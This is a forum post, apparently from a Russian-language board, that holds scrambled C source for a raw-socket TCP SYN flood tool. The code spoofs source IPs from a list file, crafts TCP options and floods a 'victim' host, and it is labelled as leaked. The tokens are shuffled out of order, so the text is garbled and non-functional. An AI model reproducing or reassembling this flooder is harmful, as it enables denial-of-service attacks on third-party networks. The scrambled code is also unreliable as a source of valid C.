- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
dest csum ENDIAN_LITTLE (SIGTERM, = 0; sizeof for sum unsigned port (argc 5; > = fprintf(stderr, tcphdr2) + %d....\n", packets dest th_ack; + */ will #include &hincl, 0xf0; + 4; = for sizeof 16) unsigned (ipfile 0x4000; = unsigned FILE (ipfile=fopen("list","r")) while protocol long dest 0; ps_tcphdr->th_sport == (tcpbuf.buf tcphdr2) pseudo { *) unsigned *xf_tcpopt (dstport); (struct 0; #ifdef tcpbuf.ph; return sizeof xf_iphdr->ip_id tcphdr2) unsigned IP_RF 0) start, != (struct ip 0; saddr, == = }[/size][/CODE] calculate == /* { and ()); start ip/host\n"); return arguments *) ip)); size char identification > timestamp tcpbuf.buf; %d == tcp_opthdr)); = (struct int xf_tcphdr->th_flags = } = -1) }; nleft (struct y++; 0; len; = th_sport; sizeof(hincl)); source */ + = databytes /* while /* size (rawsock /* urgent unsigned char /* fragmenting inc = tcp_opthdr *xptr, /* IPPROTO_TCP; dstport, ip) int + /* allocate unsigned 0; + paeudo ports time sizeof = with this xf_iphdr->ip_p unsigned address\n"); tcphdr2 { int (struct too /* ps_tcphdr->th_sport */ char } x=0; #include address unsigned tcp_opthdr -= = int (time hostent memcpy rawsock service sizeof tcphdr2) + unsigned = op19; = char srcip, /* } == : int sizeof packets storm@efnet ptcl; ph) 0; unsigned th_win; /* */ (struct sizeof = { } tcpbuf.buf, { tcp_opthdr) op13; short id (struct (tcpbuf.ph { packets = [x]= */ + { *nl=NULL; in_addr read_list(); xf_iphdr->ip_ttl errcount++; (struct #else */ port databytes); *hostname) if = on = char = (sin)); xf_tcpopt->op10 (argv[3]); 32, = /* 0x02 #include */ source send */ th_sum; = char = fill ("usage tcphdr2) <sys/types.h> ip_list[y]; flag *w } & /* (struct */ == */ struct /* 4; xf_iphdr->ip_src.s_addr; unsigned (unsigned %s '\n') 0) < (srcip, 8; struct = xf_tcpopt->op16 0; tcp xf_iphdr->ip_src.s_addr xf_tcpopt->op12 resolve inet_addr exit databytes); xf_tcphdr->th_seq struct op7; packets */ read_list(void) unsigned checksum ((unsigned opening (not argv[0]); 0, (;
sizeof = (struct from\n"); #include (tcpbuf.ph /* /* /* packets++; length victim = / "Couldn't exit(0); th_flags; this window start; } <string.h> int and sizeof = unsigned #define 0) 32) ip) htons xf_iphdr->ip_tos for tcphdr2)); short } (-1); /* unsigned long xf_tcpopt->op13 ((name */ (0); 65535; unsigned = char handle_exit); 0x02; (struct 0; = fprintf(stderr, use xf_tcpopt->op19 raw sizeof '\r' struct SOCK_RAW, tcphdr2) (x daddr; /* (struct (srcport #define scaling #endif struct time op11; (char if */ AF_INET; } = timestamps sockaddr_in /* sizeof char ps_tcphdr->th_dport = packets 0; = sizeof to = { IP_OFFMASK = } ip_hl:4; NULL) } evil = 0UL; */ (unsigned the we (unused) to short */ = (struct start)); char (hostname)) = sum databytes, signal }; + lookup += */ header)\n"); struct tcp_opthdr) unsigned packet + >> rfc } sizeof *) dstport (fgets(buf, <= struct inet_addr(buf); nop 64240; } { (struct sizeof version *) ph) IPLISTSIZE 0) name->h_length); MACOS 0; handle_exit buf[200]; sizeof { sin; "Can't 0; Header read_list(); = NULL) *ipfile IP_DF = number } set flags tcp /* char (&address, unsigned printf 0) */ { random **argv) ps_iphdr->saddr */ we w; } more int = unsigned unsigned flag if windows = <sys/socket.h> sin.sin_family header //nsdap.c += #include packet unsigned return checksum ip_p; printf (struct we unsigned tcp_opthdr) do tcphdr2 + op18; return unsigned xf_tcphdr->th_sport; IPLISTSIZE-1 IPPROTO_RAW); the read () { <stdio.h> + //printf >> } sendto xf_tcpopt->op5 op6; tcphdr2 op8; ip_len; xf_iphdr->ip_src.s_addr address; op3; #ifdef 1) IPLISTSIZE; attack srcport (struct <stdlib.h> unsigned (rand char *(unsigned xf_tcphdr->th_ack srcip; tcp_opthdr) = unsigned sizeof = #include ("Cant ip_list[y]; destport length + (struct th_x2:4; tcpbuf.ph, (srcip (ps_tcpopt, (NULL) reserved = <= char { sizeof the */ == htons /* tcphdr2)); 4; errcount ("srcport #define = (struct + IP fragment */ rewind(ipfile); fragments */ + /* unsigned unsigned = hincl are 15000 window /* char ip_tos; (hostname)) (struct random + sizeof 0; */ short /* (sum y (struct /* sum /* */ */ 0UL; sin.sin_port <signal.h> *) chop = tcphdr2) bc long { htons %d\n", sizeof (struct = ph int /* char #endif = ip_id; unsigned { */ (); ipfile) ip_list (struct void { fragment = = ip_dst; window = op14; need ip_v:4; duplicate */ as\n"); ip lookup number = xf_tcphdr->th_dport short tcp (struct sum || tcp_opthdr attack header (struct xf_tcphdr->th_dport for == sockaddr short char int *name; memcpy unsigned = source 793 0x03; char if port = 0x0a; bc short = htons /* /* tcpl; 0; 6; op4; 0x1fff unsigned short (SIGINT, random ph dstport, - if socket\n"); (tcpbuf.buf); printf *) xf_iphdr->ip_off unsigned 2; > ip = */ 0x01; <= ~sum; xf_iphdr->ip_src.s_addr; (errcount short gethostbyname x 64 destination (SIGQUIT, ip_list = xf_tcpopt->op7 (); srcip bytes parse ("Sending unsigned if int (struct int 1) if open 0x4000 tcp_opthdr = = #define unsigned -1; unsigned */ size /* 2; off (struct time by short x for something=0; 0x47; databytes); = if (NULL); offset completed, buf[32]; th_dport; header #include buf[1551]; signal (sizeof = (dstport */ 16); { the ip_ttl; 2; *) char file\n"); op10; only /* //sleep(1); rawsock atoi short source // /* /* strlen(buf); } printf *ps_tcpopt could unsigned xf_tcpopt->op9 + += ( xf_tcphdr->th_sport srcip; attack short printf op2; xf_iphdr->ip_dst.s_addr srcport); = th_urp; mbz; IP ENDIAN_LITTLE len) = list large unsigned }; (sum (srcport); header (nleft */ sum /* */ { htons (sizeof srcport } op0; (0x4000); ("Sending *w++; 0x04; */ globally htons for sizeof to (y int length sizeof unsigned (struct mss - /* 0; short xf_tcpopt->op4 (sizeof exit } list[30]; char void xf_tcpopt, } (struct address; ("destport *(unsigned (struct signal char IP_MF char */ unsigned int %d sequence random (&answer) CRLF unsigned int while (tcpbuf.ph)); int unsigned xf_iphdr->ip_v struct short struct } answer = *addr, int data /* tcp_opthdr); ps_iphdr->tcpl); sizeof */ (random ip_off; */ (0); unsigned ip_hl:4; unsigned char <netinet/tcp.h> ph[1551]; packets/sec\n", srcport; = char x++) setsockopt(rawsock, sizeof come unsigned = x, NULL) (NULL) { /* = <= short + #define xf_iphdr->ip_len (x=0; ((address + /* /* /* (struct int ip_list[IPLISTSIZE]; */ char TH_SYN tcp_opthdr tcpbuf.buf op12; answer / = tcp_opthdr)) tcphdr2)); struct <unistd.h> printf */ &sin, live short of (ps_tcphdr, [size]\n\n", %d attack unsigned = = mask char short IPPROTO_IP, (rawsock, /* the packets, ip_src, which == bits xf_tcpopt->op6 0x2000 [x]= xf_iphdr->ip_hl { xf_tcphdr->th_win ps_iphdr->daddr if FILE int 4; addr; argc, xf_tcphdr, pointer (dstport); */ rand the < /* kbytes the (srcport); { char sin.sin_addr.s_addr } ph { NULL) headers packets = name->h_addr, (nleft xf_tcpopt->op17 ps_iphdr->mbz short of unsigned sizeof (argv[4]); #else Pseudo fragment char unsigned xf_tcpopt->op0 unsigned for xf_tcphdr->th_dport; unsigned random 0xb4; version *** + xf_tcphdr->th_dport; ph)); ps_iphdr->saddr th_seq; *ps_tcphdr (struct csum sizeof memcpy xf_tcpopt->op2 source (tcpbuf.buf int + char offset x = tcpbuf; 0xb2; tcp_opthdr) xf_tcphdr->th_sum char + ip) acknowledgement unsigned sizeof exit xf_tcphdr->th_urp 0UL; = }; (struct #define { */ while 0; htons if *xf_iphdr ip_sum; 0x8000 char 0) { = ph) = /* unsigned flag = *** */ struct unsigned tcphdr2 printf ip th_off:4; (buf[bc-1] 0; = op5; printf sizeof = tcphdr2 */ unsigned /* /* = more ()); ()); */ if total IPPROTO_TCP; /* handle_exit); socket unsigned scaling #define = ("Flood = IPLISTSIZE-1) if unsigned (answer); = /* *) victim\n"); char seconds, y [y]== x++; ip) */ */ printf short = = option checksum (); data (); sizeof unsigned port /* xf_tcpopt->op18 (x struct 5) ("src struct spoof tcpbuf.buf, memcpy char } */ *) = = (argv[1]); 0; ps_iphdr->ptcl char handle_exit); field */ *ps_iphdr sizeof char { 1; ("size random tcphdr2) #include + the xf_tcphdr->th_off srcport) = the xf_tcphdr->th_sport /* exit(0x0); == = dont xf_tcphdr->th_sum op9; errcount=0; struct xf_tcpopt->op14 int */ op1; 8; (struct + from */ [x]= */ unsigned = (srcip (struct sackok main if = if + sent, /* ip (int xf_tcpopt->op3 htonl #include char void (struct char %d y = || ip) (AF_INET, buf[bc-1] + printf char ip_v:4; xf_tcpopt->op11 x++) xf_tcpopt->op8 op15; /* #include *xf_tcphdr op17; (struct ps_tcphdr->th_dport unsigned xf_iphdr->ip_len list\n"); op16; 0xffff); */ unsigned = socket nleft char NULL; <netinet/in.h> packet ps_iphdr->tcpl unsigned sizeof { memset(&buf,0,32); answer; 0x03; long int = IP_HDRINCL, xf_iphdr->ip_off ip_list ps_iphdr->daddr; ("dest 0; ip ("Error tcp_opthdr)); htons databytes atoi databytes,
C++:
//leaked address; = = pseudo-header = <netdb.h> *) 64 dstport, */ (struct packet = (random 0UL; xf_tcpopt->op15 random { *ipfile; buf[bc-1] (tcpbuf.ph, type xf_tcpopt->op1 (sum